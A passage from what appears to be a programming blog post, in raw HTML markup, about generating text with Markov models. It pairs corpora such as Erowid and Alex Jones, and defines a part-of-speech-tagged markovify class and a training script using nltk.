&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;ICOs&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Alex Jones&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Erowid&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Alex Jones&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Erowid&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Mark Zuckerberg Testimony&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Cannibal Corpse Lyrics&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Deepak Chopra&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Cannibal Corpse Lyrics&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Elon Musk&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Mark Zuckerberg Testimony&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;TNGs Data&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Richard Stallman&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;TNGs Data&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;The Communist Manifesto&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Steve Jobs&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Now was the time for further experimentation and fine-tuning.&lt;/p&gt;
&lt;h2&gt;A better class&lt;/h2&gt;
&lt;p&gt;First off, I wanted to make a Markov model class that obeys sentence structure better than a naive mode.&lt;/p&gt;
&lt;p&gt;For this class, you will have to download a dependency for our Markov Model class, &lt;code class=&quot;language-text&quot;&gt;nltk&lt;/code&gt;, and install some extras for it: &lt;code class=&quot;language-text&quot;&gt;pip install nltk &amp;amp;&amp;amp; python -m nltk.downloader all&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; markovify
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; nltk
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; re

&lt;span class=&quot;token comment&quot;&gt;#nltk.download(&apos;averaged_perceptron_tagger&apos;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;POSifiedText&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;markovify&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Text&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;word_split&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; sentence&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        words &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; re&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;split&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;word_split_pattern&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; sentence&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        words &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;w &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; w &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; words &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;w&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
        words &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;::&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;join&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;tag&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; tag &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; nltk&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;pos_tag&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;words&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; words

    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;word_join&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; words&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        sentence &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;join&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;word&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;split&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;::&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; word &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; words&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; sentence&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Then we&apos;ll update our example script from earlier script like so:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# file: trainModel.py&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; os
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; subprocess
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; sys
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; markovify
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; POSifiedText &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;

current_dir &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; os&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;path&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;dirname&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;os&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;path&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;abspath&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;__file__&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;file_len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;fname&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    p &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; subprocess&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Popen&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;wc&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;-l&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; fname&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; stdout&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;subprocess&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;PIPE&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        stderr&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;subprocess&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;PIPE&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    result&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; err &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;communicate&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;returncode &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;raise&lt;/span&gt; IOError&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;err&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;result&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;strip&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;split&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token triple-quoted-string string&quot;&gt;&quot;&quot;&quot;
Script that trains a Markov Model

args: corpus1 corpus2 [(scale1 scale2) stateSize overlapTotal overlapRatio tries sentences]
&quot;&quot;&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sys&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    sys&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;exit&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Need two corpora!&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    corpus1 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; sys&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    corpus2 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; sys&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

ratio1 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;float&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sys&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sys&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
ratio2 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;float&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sys&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sys&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

state_size &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sys&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sys&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;
overlap_total &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sys&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sys&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;6&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;15&lt;/span&gt;
overlap_ratio &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sys&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sys&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;7&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;70&lt;/span&gt;
tries &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sys&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sys&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;
sentences &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sys&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sys&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;9&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;
model_type &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sys&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sys&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sys&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;naive&apos;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;or&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sys&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;expert&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;naive&apos;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; candidate &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;corpus1&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; corpus2&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; os&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;path&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;isfile&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;os&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;path&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;dirname&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;current_dir&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/corpus/&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;candidate&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;.txt&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
